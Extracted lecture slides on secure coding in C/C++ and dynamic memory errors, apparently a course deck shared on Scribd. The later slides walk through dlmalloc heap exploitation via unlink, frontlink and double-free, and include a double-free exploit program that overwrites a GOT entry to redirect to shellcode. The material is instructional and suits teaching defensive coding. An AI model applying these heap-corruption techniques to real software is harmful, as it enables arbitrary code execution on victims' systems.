0% found this document useful (0 votes)
8 views79 pages

Dynamic Memory Management in C/C++

The document discusses secure coding practices in C and C++ related to dynamic memory management, highlighting common errors such as buffer overflows, double-free issues, and improper use of memory management functions. It details methods for dynamic memory allocation, error prevention strategies, and notable vulnerabilities associated with memory management. The presentation also covers Doug Lea's memory allocator and its implications for memory management in programming.

Uploaded by

lgaga7010
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
8 views79 pages

Dynamic Memory Management in C/C++

The document discusses secure coding practices in C and C++ related to dynamic memory management, highlighting common errors such as buffer overflows, double-free issues, and improper use of memory management functions. It details methods for dynamic memory allocation, error prevention strategies, and notable vulnerabilities associated with memory management. The presentation also covers Doug Lea's memory allocator and its implications for memory management in programming.

Uploaded by

lgaga7010
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPT, PDF, TXT or read online on Scribd

Secure Coding in C and

C++
Dynamic Memory
Management

Lecture 6
Acknowledgement: These slides are based on author Seacord’s original presentation
Issues
 Dynamic Memory Management
 Common Dynamic Memory Management Errors
 Doug Lea’s Memory Allocator
 Buffer Overflows (Redux)
 Writing to Freed Memory
 Double-Free
 Mitigation Strategies
 Notable Vulnerabilities
Dynamic Memory Management

 Memory allocation in C:
 calloc()
 malloc()
 realloc()
 Deallocated using the free() function.
 Memory allocation in C++
 using the new operator.
 Deallocated using the delete operator.
Memory Management Functions - 1

 malloc(size_t size);
 Allocates size bytes and returns a pointer to the
allocated memory.
 The memory is not cleared.
 free(void * p);
 Frees the memory space pointed to by p, which must
have been returned by a previous call to malloc(),
calloc(), or realloc().
 If free(p) has already been called before, undefined
behavior occurs.
 If p is NULL, no operation is performed.
Methods to do Dynamic
Storage Allocation - 1
 Best-fit method –
 An area with m bytes is selected, where m is the
smallest available chunk of contiguous memory
equal to or larger than n.
 First-fit method –
 Returns the first chunk encountered containing n
or more bytes.
 Prevention of fragmentation,
 a memory manager may allocate chunks that are
larger than the requested size if the space
remaining is too small to be useful.
Methods to do Dynamic Storage
Allocation - 2
 Memory managers
 return chunks to the available space list as soon as
they become free and consolidate adjacent areas.

 Boundary tags
 Help consolidate adjoining chunks of free memory so
that fragmentation is avoided.

 The size field simplifies navigation between


chunks.
Dynamic Memory Management
Errors
 Initializationerrors,
 Failing to check return values,

 Writing to already freed memory,

 Freeing the same memory multiple times,

 Improperly paired memory management

functions,
 Failure to distinguish scalars and arrays,

 Improper use of allocation functions.


Initialization

 Most C programs use malloc() to allocate


blocks of memory.
 A common error is assuming that malloc()

zeros memory.
 Initializing large blocks of memory can impact

performance and is not always necessary.


 Programmers have to initialize memory using

memset() or by calling calloc(), which


zeros the memory.
Failing to Check Return Values
 Memory is a limited resource and can be
exhausted.
 Memory allocation functions report status
back to the caller.
 VirtualAlloc() returns NULL,
 Microsoft Foundation Class Library (MFC) operator new
throws CMemoryException *,
 HeapAlloc() may return NULL or raise a structured
exception.
 The application programmer should:
 determine when an error has occurred.
 handle the error in an appropriate manner.
Checking Return Codes from
malloc()

1. int *i_ptr;
2. i_ptr =
(int*)malloc(sizeof(int)*nelements_wanted);
3. if (i_ptr != NULL) {
4. i_ptr[i] = i;
5. }
6. else {
/* Couldn't get the memory - recover */
7. }
Incorrect use of Standard new
Operator

1. int *ip = new int;


2. if (ip) { // condition always true
...
3. }
4. else {
// will never execute
5. }
Referencing Freed Memory - 1
 Once memory has been freed, it is still possible to
read or write from its location if the memory pointer
has not been set to null.
 An example of this programming error:
for (p = head; p != NULL; p = p->next)
free(p);

 Problem? Solution?
Referencing Freed Memory - 2
 Reading from already freed memory almost
always succeeds without a memory fault,
 because freed memory is recycled by the memory
manager.
 There is no guarantee that the contents of the memory
has not been altered.

 While the memory is usually not erased by a call


to free(),
 memory managers may use some of the space to
manage free or unallocated memory.
 Writing to a freed memory location is also unlikely to
result in a memory fault
Referencing Freed Memory - 4
 If the memory has not been reallocated, writing
to a free chunk may overwrite and corrupt the
data structures used by the memory manager.

 This can be used as the basis for an exploit


when the data being written is controlled by an
attacker.
Freeing Memory Multiple
Times
 Freeing the same memory chunk more than
once is dangerous because it can corrupt the
data structures

1. x = malloc(n * sizeof(int));
2. /* manipulate x */
3. free(x);

4. y = malloc(n * sizeof(int));
5. /* manipulate y */
6. free(x);
Dueling Data Structures - 1

b
Dueling Data Structures
 If a program traverses each linked list freeing each
memory chunk pointer several memory chunks will
be freed twice.

 It is less dangerous to leak memory than to free the


same memory twice.

 This problem can also happen when a chunk of


memory is freed as a result of error processing but
then freed again in the normal course of events.
Improperly Paired Memory
Management Functions

 Memory management functions must be


properly paired.
 If new is used to obtain storage, delete

should be used to free it.


 If malloc() is used to obtain storage,

free() should be used to free it.


 Using free() with new or malloc()

with delete() is a bad practice.


Improperly Paired Memory Management
Functions – Example Program

1. int *ip = new int(12);


. . .
2. free(ip); // wrong!
3. ip = static_cast<int *>(malloc(sizeof(int)));
4. *ip = 12;
. . .
5. delete ip; // wrong!

Failure to Distinguish Scalars and
Arrays
 The new and delete operators are used
to allocate and deallocate scalars:
Widget *w = new Widget(arg);
delete w;
 Thenew [] and delete [] operators are
used to allocate
and free arrays:
w = new Widget[n];
delete [] w;
Improper Use of Allocation
Functions - 1
 malloc(0) –
 If the size of the space requested is zero, a C runtime
library can return a NULL pointer OR
 Behave the same as for non-zero size – returned
pointer cannot access an object

 The safest and most portable solution is to


ensure zero-length allocation requests are not
made.
Doug Lea’s Memory Allocator
 The GNU C library and most versions of
Linux are based on Doug Lea’s malloc
(dlmalloc) as the default native version of
malloc.
 Doug Lea:
 Releases dlmalloc independently and others adapt it for
use as the GNU libc allocator.
 Malloc manages the heap and provides standard memory
management.
 In dlmalloc, memory chunks are either allocated to a
process or are free.
dlmalloc Memory Management
-1

Size or last 4 bytes of prev. Size or last 4 bytes of prev.


Size P Size P
Forward pointer to next
Back pointer to prev.
User data
Unused space

Last 4 bytes of user data Size

Allocated chunk Free chunk

The first four bytes of allocated chunks contain The first four bytes of free chunks contain
the last four bytes of user data of the previous the size of the previous chunk in the list.
chunk.
dlmalloc Memory Management
-2

 Free chunks:
 Are organized into double-linked lists.
 Contain forward and back pointers to the next and previous
chunks in the list to which it belongs.
 These pointers occupy the same eight bytes of memory as
user data in an allocated chunk.
 The chunk size
 is stored in the last four bytes of the free chunk,
 enables adjacent free chunks to be consolidated
to avoid fragmentation of memory.
dlmalloc Memory Management
-3

 PREV_INUSE bit
 Allocated and free chunks make use of it to indicate
whether the previous chunk is allocated or not.
 Since chunk sizes are always two-byte multiples, the size
of a chunk is always even and the low-order bit is unused.
 This bit is stored in the low-order bit of the chunk size.
 If the PREV_INUSE bit is clear,
 the four bytes before the current chunk size contain the
size of the previous chunk and
 can be used to find the front of that chunk.
dlmalloc Memory Management
-4

 In dlmalloc:
 Free chunks are arranged in circular double-linked lists or
bins.
 Each double-linked list has a head that contains forward
and back pointers to the first and last chunks in the list.
 The forward pointer in the last chunk of the list and the
back pointer of the first chunk of the list both point to the
head element.
 When the list is empty, the head’s pointers reference the
head itself.
Free List Double-linked
Structure
Forward pointer to first chunk in list Size or last 4 bytes of prev.
Back pointer to last chunk in list Size 1
Forward pointer to next
Back pointer to prev.
head Unused space
element
Size
:
Size or last 4 bytes of prev.
Size 1
Forward pointer to next
Back pointer to prev.
Unused space
Size
:
Size or last 4 bytes of prev.
Size 1
Forward pointer to next
Back pointer to prev.
:
dlmalloc - 1
 Each bin holds chunks of a particular size so that a
correctly-sized chunk can be found quickly.
 For smaller sizes, the bins contain chunks of one
size.
 For bins with different sizes, chunks are arranged in
descending size order.
 There is a bin for recently freed chunks that acts like
a cache.
 Chunks in this bin are given one chance to be reallocated
before being moved to the regular bins.
dlmalloc - 2
 Chunks are consolidated during free() operation.
 If the chunk located immediately before the chunk to
be freed is free,
 it is taken off its double-linked list and consolidated with the
chunk being freed.
 If the chunk located immediately after the chunk to be
freed is free,
 it is taken off its double-linked list and consolidated with the
chunk being freed.
 The resulting consolidated chunk is placed in the
appropriate bin.
The unlink Macro

1. #define unlink(P, BK, FD) { \


2. FD = P->fd; \
3. BK = P->bk; \
4. FD->bk = BK; \
5. BK->fd = FD; \
6. }

Removes a chunk from Free list -- when?


Four-step unlink Example
Size or last 4 bytes of prev. <-BK (2)
 Size 1
Forward pointer to next
Back pointer to prev.
Unused space
(3)
Size
:
Size or last 4 bytes of prev. <-P
Size 1
Forward pointer to next (1) FD = P->fd;
Back pointer to prev. (2) BK = P->bk;
(4)
Unused space (3) FD->bk = BK;
Size
: (4) BK->fd = FD;
Size or last 4 bytes of prev. <-FD (1)
Size 1
Forward pointer to next
Before Back pointer to prev. Results
Unlink : of Unlink
Buffer Overflows

 Dynamically allocated memory is vulnerable


to buffer overflows.
 Exploiting a buffer overflow in the heap is

generally considered more difficult than


smashing the stack.
 Buffer overflows can be used to corrupt data

structures used by the memory manager to


execute arbitrary code.
Unlink Technique

 The unlink technique:


 Used against versions of Netscape browsers,
traceroute, and slocate that used dlmalloc.

 Used to exploit a buffer overflow


 to manipulate the boundary tags on chunks of memory
 to trick the unlink macro into writing four bytes of data to an
arbitrary location.
Code Vulnerable to an Exploit
Using the unlink Technique - 1
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char *argv[]) {
 4. char *first, *second, *third;
Memory allocation
 5. first = malloc(666); chunk 1
 6. second = malloc(12);
 7. third = malloc(12); Memory allocation

chunk 2
8. strcpy(first, argv[1]);
 9. free(first); Memory allocation
 10. free(second); chunk 3
 11. free(third);
 12. return(0);
 13. }
Code Vulnerable to an Exploit
Using the unlink Technique - 2
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char *argv[]) {
4. char *first, *second, *third;
5. first = malloc(666);
6. second = malloc(12);
7. third = malloc(12);
8. strcpy(first, argv[1]); The program accepts
a single string
9. free(first);
argument that is
10. free(second); copied into first
11. free(third); This unbounded
12. return(0); strcpy() operation is
13. } susceptible to a buffer
overflow.
Code Vulnerable to an Exploit
Using the unlink Technique - 3
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char *argv[]) {
 4. char *first, *second, *third;
 5. first = malloc(666);
 6. second = malloc(12);
 7. third = malloc(12);
 8. strcpy(first, argv[1]);
 9. free(first);
 10. free(second);

the program calls
11. free(third);

free() to deallocate
12. return(0);

the first chunk of
13. }
memory
Code Vulnerable to an Exploit
Using the unlink Technique - 4
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char *argv[]) {
 4. char *first, *second, *third;
 5. first = malloc(666);
 6. second = malloc(12);
 7. third = malloc(12);
 8. strcpy(first, argv[1]);
 9. free(first);
 10. free(second); If the second chunk is
 11. free(third); unallocated, the free()
 12. return(0); operation will attempt to
 13. } consolidate it with the first
chunk.
Code Vulnerable to an Exploit
Using the unlink Technique - 5
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char *argv[]) {
 4. char *first, *second, *third;
 5. first = malloc(666);
 6. second = malloc(12);
 7. third = malloc(12);
 8. strcpy(first, argv[1]);
 9. free(first);
 10. free(second); To determine whether the second
 11. free(third); chunk is unallocated, free() checks
 12. return(0); the PREV_INUSE bit of the third
 13. } chunk
Using the Size Field to Find the
Start of the Next Chunk
1st chunk
Size of previous chunk, if unallocated

Size of chunk = 666 P

666 bytes
:
2nd chunk
:

Size of chunk = 12 1

12 bytes
:
3rd chunk
:

Size of chunk, in bytes 1

?? Bytes
:
Malicious Argument used in unlink
Technique

First Chunk
680 bytes

4 bytes 4 bytes strlen(shellcode)


dummy dummy shellcode B B B B B B ……………………………………… B …
fd bk
fill

Second Chunk
4 bytes 4 bytes 4 bytes 4 bytes
… even int -4 fp-12 addr \0

prev size fd bk
size
Code Vulnerable to an Exploit
Using the unlink Technique - 6
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char *argv[]) {
 4. char *first, *second, *third;
 5. first = malloc(666);
 6. second = malloc(12);
 7. third = malloc(12);
 8. strcpy(first, argv[1]);
 9. free(first); This argument overwrites the previous
 10. free(second); size field, size of chunk, and forward
 11. free(third); and backward pointers in the second
 12. return(0); chunk— altering the behavior of the call
 13. } to free()
Code Vulnerable to an Exploit
Using the unlink Technique - 7
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char *argv[]) {
 4. char *first, *second, *third;
 5. first = malloc(666);
 6. second = malloc(12);
 7. third = malloc(12);
 8. strcpy(first, argv[1]);
 9. free(first); The size field in the second chunk is
overwritten with the value -4 so that when
 10. free(second); free() attempts to determine the location of
 11. free(third); the third chunk by adding the size field to the
 12. return(0); starting address of the second chunk, it
 13. } instead subtracts 4
Code Vulnerable to an Exploit
Using the unlink Technique - 8
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char *argv[]) {
 4. char *first, *second, *third;
 5. first = malloc(666);
 6. second = malloc(12);
 7. third = malloc(12);
 8. strcpy(first, argv[1]);
 9. free(first); Doug Lea’s malloc now mistakenly believes
 that the start of the next contiguous chunk is
10. free(second);
4 bytes before the start of the second
 11. free(third); chunk.
 12. return(0);
 13. }
Code Vulnerable to an Exploit
Using the unlink Technique - 9
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char *argv[]) {
 4. char *first, *second, *third;
 5. first = malloc(666);
 6. second = malloc(12);
 7. third = malloc(12);
The malicious argument makes sure that
 8. strcpy(first, argv[1]);
the location where dlmalloc finds the
 9. free(first); PREV_INUSE bit is clear, tricking dlmalloc
 10. free(second); into believing the second chunk is
 11. free(third); unallocated—so the free() operation
invokes the unlink() macro to consolidate
 12. return(0); the two chunks
 13. }
Memory in Second Chunk - 1

even int

-4 0

fd = FUNCTION_POINTER - 12
The first line of unlink, FD = P->fd,
bk = CODE_ADDRESS
assigns the value in P->fd (which has
remaining space
been provided as part of the malicious
argument) to FD
Size of chunk
Memory in Second Chunk - 2

even int

-4 0

fd = FUNCTION_POINTER - 12

bk = CODE_ADDRESS The second line of the unlink macro,


BK = P->bk, assigns the value of P-
remaining space
>bk, which has also been provided by
Size of chunk the malicious argument to BK
Memory in Second Chunk - 3

even int

-4 0 The third line of the unlink() macro,


fd = FUNCTION_POINTER - 12 FD->bk = BK, overwrites the address
specified by FD + 12 (the offset of the
bk = CODE_ADDRESS
bk field in the structure) with the value
remaining space of BK

Size of chunk
The unlink() Macro - 1
 The unlink() macro writes four bytes of data supplied
by an attacker to a four-byte address also supplied
by the attacker.
 Once an attacker can write four bytes of data to an
arbitrary address, it is easy to execute arbitrary code
with the permissions of the vulnerable program.
 An attacker can provide the address of the
instruction pointer on the stack and use the unlink()
macro to overwrite the address with the address of
malicious code.
The unlink() Macro - 2
 An attacker can:
 overwrite the address of a function called by the vulnerable
program with the address of malicious code.
 examine the executable image to find the address of the jump
slot for the free() library call.
 The address - 12 is included in the malicious
argument so that the unlink() method overwrites
the address of the free() library call with the
address of the shellcode.
 The shellcode is then executed instead of the call to
free().
Frontlink Technique - 1

 The frontlink technique is more difficult to apply than the


unlink technique but potentially as dangerous.

 When a chunk of memory is freed, it must be linked into


the appropriate double-linked list.

 In some versions of dlmalloc, this is performed by the


frontlink() code segment.

 The frontlink() code segment can be exploited to


write data supplied by the attacker to an address also
supplied by the attacker.
Frontlink Technique - 2
 The attacker:
 Supplies the address of a memory chunk and not the
address of the shell code,
 Arranges for the first four bytes of this memory chunk to
contain executable code.

 This is accomplished by writing these


instructions into the last four bytes of the
previous chunk in memory.
The frontlink Code Segment
1. BK = bin;
2. FD = BK->fd;
3. if (FD != BK) {
4. while (FD != BK && S <chunksize(FD))
{
5. FD = FD->fd;
6. }
7. BK = FD->bk;
8. }
9. P->bk = BK;
10. P->fd = FD;
11. FD->bk = BK->fd = P
Sample Code Vulnerable to an Exploit
using the frontlink Technique - 1
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char * argv[]) {
 4. char *first, *second, *third;
 5. char *fourth, *fifth, *sixth;
 6. first = malloc(strlen(argv[2]) + 1);
 7. second = malloc(1500);
 8. third = malloc(12); The program
 9. fourth = malloc(666); allocates six
 10. fifth = malloc(1508); memory chunks

(lines 6-11)
11. sixth = malloc(12);
 12. strcpy(first, argv[2]);
 13. free(fifth);
 14. strcpy(fourth, argv[1]);
 15. free(second);
 16. return(0); copy argv[2] into the first


chunk
17. }
Frontlink Technique - 3
 An attacker can provide a malicious argument

 containing shellcode so that the last four bytes of the


shellcode are the jump instruction into the rest of the
shellcode, and

 these four bytes are the last four bytes of the first
chunk.
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 2
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12);
9. fourth = malloc(666);
10. fifth = malloc(1508);
11. sixth = malloc(12);
12. strcpy(first, argv[2]); When the fifth chunk is
13. free(fifth); freed it is put into a bin
14. strcpy(fourth, argv[1]);
15. free(second); 
16. return(0);
17. }
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 3
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12); The fourth chunk in
9. fourth = malloc(666); memory is seeded with
10. fifth = malloc(1508); carefully crafted data
11. sixth = malloc(12); (argv[1]) so that it
12. strcpy(first, argv[2]); overflows.
13. free(fifth);
14. strcpy(fourth, argv[1]); The address of a fake
15. free(second);
16. return(0); chunk is written into the
forward pointer of the
17. }
fifth chunk.
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 4
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500); This fake chunk contains the
8. third = malloc(12); address of a function pointer
9. fourth = malloc(666); (minus 12) in the location
10. fifth = malloc(1508); where the back pointer is
11. sixth = malloc(12); normally found.
12. strcpy(first, argv[2]);
13. free(fifth); A suitable function pointer is
14. strcpy(fourth, argv[1]); the first destructor function
15. free(second); stored in the .dtors section of
16. return(0); the program.
17. }
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 5
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12);
9. fourth = malloc(666);
10. fifth = malloc(1508);
11. sixth = malloc(12);
12. strcpy(first, argv[2]);
13. free(fifth); An attacker can discover
14. strcpy(fourth, argv[1]); this address by
15. free(second); examining the
16. return(0);
17. } executable image.
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 6
 1. #include <stdlib.h>
 2. #include <string.h>
 3. int main(int argc, char * argv[]) {
 4. char *first, *second, *third;
 5. char *fourth, *fifth, *sixth;
 6. first = malloc(strlen(argv[2]) + 1);
 7. second = malloc(1500);
 8. third = malloc(12);
 9. fourth = malloc(666);
 10. fifth = malloc(1508);
 11. sixth = malloc(12);
 12. strcpy(first, argv[2]); When the second chunk is
 13. free(fifth); freed, the frontlink() code
 14. strcpy(fourth, argv[1]); segment inserts it into the
 15. free(second); same bin as the fifth chunk
 16. return(0);
 17. }
The frontlink Code Segment - 1
 1. BK = bin; Second is smaller
 2. FD = BK->fd; than fifth
 3. if (FD != BK) {
 4. while (FD != BK && S < chunksize(FD)) {
 5. FD = FD->fd;
 6. }

The While loop is
7. BK = FD->bk;
executed in the frontlink()
 8. } code segment (lines 4-6)
 9. P->bk = BK;
 10. P->fd = FD;
 11. FD->bk = BK->fd = P;
The frontlink Code Segment - 2
1. BK = bin;
2. FD = BK->fd;
3. if (FD != BK) {
4. while (FD != BK && S < chunksize(FD)) {
5. FD = FD->fd;
6. }
The forward pointer of
7. BK = FD->bk;
the fifth chunk is stored
8. }
in the variable FD
9. P->bk = BK;
10. P->fd = FD;
11. FD->bk = BK->fd = P;
The frontlink Code Segment - 3
 1. BK = bin;
 2. FD = BK->fd;
 3. if (FD != BK) {
 4. while (FD != BK && S < chunksize(FD)) {
 5. FD = FD->fd;
 6. }
 7. BK = FD->bk;
 8. } The back pointer of this fake
 9. P->bk = BK; chunk is stored in the variable BK
 10. P->fd = FD;
 11. FD->bk = BK->fd = P;
The frontlink Code Segment - 4
1. BK = bin;
2. FD = BK->fd;
3. if (FD != BK) {
4. while (FD != BK && S < chunksize(FD)) {
5. FD = FD->fd;
6. }
7. BK = FD->bk;
8. }
9. P->bk = BK;
BK now contains the address
10. P->fd = FD;
of the function pointer
11. FD->bk = BK->fd = P;
The function pointer is
overwritten by the address of
the second chunk.
Sample Code Vulnerable to an Exploit using the
frontlink Technique - 7

1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12);
9. fourth = malloc(666);
10. fifth = malloc(1508);
11. sixth = malloc(12);
12. strcpy(first, argv[2]);
13. free(fifth);
14. strcpy(fourth, argv[1]);
15. free(second); The call of return(0)
causes the program’s
16. return(0); destructorfunction to be
17. } called, but this executes
the shellcode instead.
Double-Free Vulnerabilities

 This vulnerability arises from freeing the


same chunk of memory twice, without it being
reallocated in between.
 For a double-free exploit to be successful,

two conditions must be met:


 The chunk to be freed must be isolated in memory.
 The bin into which the chunk is to be placed must be
empty.
Empty bin and Allocated
Chunk

bin-> Forward pointer to first chunk in list


Back pointer to last chunk in list

P-> Size of previous chunk, if unallocated


Size of chunk, in bytes P

User data
:
Bin with Single Free Chunk

bin-> Forward pointer to first chunk in list


Back pointer to last chunk in list

P-> Size of previous chunk, if unallocated


Size of chunk, in bytes P
Forward pointer to next chunk in list
Back pointer to previous chunk in list
Unused space (may be 0 bytes long)
Size of chunk
Corrupted Data Structures After
Second call of free()

bin-> Forward pointer to first chunk in list


Back pointer to last chunk in list

P-> Size of previous chunk, if unallocated


Size of chunk, in bytes P
Forward pointer to next chunk in list
Back pointer to previous chunk in list
Unused space (may be 0 bytes long)
Size of chunk
Double-free Exploit Code - 1
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_"
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7. int size = sizeof(shellcode);
 8. void *shellcode_location;
 9. void *first, *second, *third, *fourth;
 10. void *fifth, *sixth, *seventh; The target of this
 11. shellcode_location = (void *)malloc(size); exploit is the first
chunk allocated
 12. strcpy(shellcode_location, shellcode);
 13. first = (void *)malloc(256);
 14. second = (void *)malloc(256);
 15. third = (void *)malloc(256);
 16. fourth = (void *)malloc(256);


17.
18.
free(first);
free(third);
When first is initially
 19. fifth = (void *)malloc(128); freed, it is put into a


20.
21.
free(first);
sixth = (void *)malloc(256);
cache bin rather than
 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12); a regular one
 23. *((void **)(sixth+4))=(void *)shellcode_location;
 24. seventh = (void *)malloc(256);
 25. strcpy(fifth, "something");
 26. return 0;
 27. }
Double-free Exploit Code - 2
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_" 3. /* jump */
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"


5.
6. int main(void){
Allocating the second
 7. int size = sizeof(shellcode); and fourth chunks
 8. void *shellcode_location;
 9. void *first, *second, *third, *fourth; prevents the third chunk


10.
11.
void *fifth, *sixth, *seventh;
shellcode_location = (void *)malloc(size);
from being consolidated
 12. strcpy(shellcode_location, shellcode);
 13. first = (void *)malloc(256);
 14. second = (void *)malloc(256);
 15. third = (void *)malloc(256);
 16. fourth = (void *)malloc(256);
 17. free(first);
 18. free(third);
 19. fifth = (void *)malloc(128);
 20. free(first);
 21. sixth = (void *)malloc(256);
 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
 23. *((void **)(sixth+4))=(void *)shellcode_location;
 24. seventh = (void *)malloc(256);
 25. strcpy(fifth, "something");
 26. return 0;
 27. }
Double-free Exploit Code - 3
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_" 3. /* jump */
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7. int size = sizeof(shellcode);
 8. void *shellcode_location;
 9. void *first, *second, *third, *fourth; Allocating the fifth chunk
 10. void *fifth, *sixth, *seventh; causes memory to be


11. shellcode_location = (void *)malloc(size); split off from the third
12. strcpy(shellcode_location, shellcode);
 13. first = (void *)malloc(256);
chunk and, as a side
 14. second = (void *)malloc(256); effect, this results in the


15. third = (void *)malloc(256); first chunk being moved

16.
17.
fourth = (void *)malloc(256);
free(first);
to a regular bin
 18. free(third);
 19. fifth = (void *)malloc(128);
 20. free(first);
 21. sixth = (void *)malloc(256);
 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
 23. *((void **)(sixth+4))=(void *)shellcode_location;
 24. seventh = (void *)malloc(256);
 25. strcpy(fifth, "something");
 26. return 0;
 27. }
Double-free Exploit Code - 4
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_" 3. /* jump */
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7. int size = sizeof(shellcode);
 8. void *shellcode_location;
 9. void *first, *second, *third, *fourth;
 10. void *fifth, *sixth, *seventh;
 11. shellcode_location = (void *)malloc(size);


12. strcpy(shellcode_location, shellcode); Memory is now

13.
14.
first = (void *)malloc(256);
second = (void *)malloc(256);
configured so that
 15. third = (void *)malloc(256); freeing the first chunk a
 16. fourth = (void *)malloc(256); second time sets up the
double-free vulnerability
 17. free(first);
 18. free(third);
 19. fifth = (void *)malloc(128);
 20. free(first);
 21. sixth = (void *)malloc(256);
 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
 23. *((void **)(sixth+4))=(void *)shellcode_location;
 24. seventh = (void *)malloc(256);
 25. strcpy(fifth, "something");
 26. return 0;
 27. }
Double-free Exploit Code - 5
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_" 3. /* jump */
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7. int size = sizeof(shellcode);
 8. void *shellcode_location;
 9. void *first, *second, *third, *fourth;
 10. void *fifth, *sixth, *seventh;
 11. shellcode_location = (void *)malloc(size);
 12. strcpy(shellcode_location, shellcode);


13.
14.
first = (void *)malloc(256);
second = (void *)malloc(256);
When the sixth chunk is
 15. third = (void *)malloc(256); allocated, malloc() returns
 16. fourth = (void *)malloc(256); a pointer to the same


17.
18.
free(first);
free(third);
chunk referenced by first
 19. fifth = (void *)malloc(128);
 20. free(first);
 21. sixth = (void *)malloc(256);
 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
 23. *((void **)(sixth+4))=(void *)shellcode_location;
 24. seventh = (void *)malloc(256);
 25. strcpy(fifth, "something");
 26. return 0;
 27. }
Double-free Exploit Code - 6
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_" 3. /* jump */
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7. int size = sizeof(shellcode);
 8. void *shellcode_location;
 9. void *first, *second, *third, *fourth;
 10. void *fifth, *sixth, *seventh;
 11. shellcode_location = (void *)malloc(size);
 12. strcpy(shellcode_location, shellcode); The GOT address of the


13. first = (void *)malloc(256); strcpy() function (minus
14. second = (void *)malloc(256);
 15. third = (void *)malloc(256); 12) and the shellcode
 16. fourth = (void *)malloc(256); location are copied into


17. free(first); this memory (lines 22-23),
18. free(third);
 19. fifth = (void *)malloc(128);
 20. free(first);
 21. sixth = (void *)malloc(256);
 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
 23. *((void **)(sixth+4))=(void *)shellcode_location;
 24. seventh = (void *)malloc(256);
 25. strcpy(fifth, "something");
 26. return 0;
 27. }
Double-free Exploit Code - 7
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_" 3. /* jump */
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7. int size = sizeof(shellcode);
 8. void *shellcode_location;
 9. void *first, *second, *third, *fourth;
 10. void *fifth, *sixth, *seventh;
 11. shellcode_location = (void *)malloc(size);
 12. strcpy(shellcode_location, shellcode);


13. first = (void *)malloc(256); The same memory chunk
14. second = (void *)malloc(256);
 15. third = (void *)malloc(256); is allocated yet again as
 16. fourth = (void *)malloc(256); the seventh chunk on line


17. free(first); 24
18. free(third);
 19. fifth = (void *)malloc(128);
 20. free(first);
 21. sixth = (void *)malloc(256);
 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
 23. *((void **)(sixth+4))=(void *)shellcode_location;
 24. seventh = (void *)malloc(256);
 25. strcpy(fifth, "something");
 26. return 0;
 27. }
Double-free Exploit Code - 8
 1. static char *GOT_LOCATION = (char *)0x0804c98c;
 2. static char shellcode[] =
 3. "\xeb\x0cjump12chars_" 3. /* jump */
 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
 5.
 6. int main(void){
 7. int size = sizeof(shellcode);
 8. void *shellcode_location;
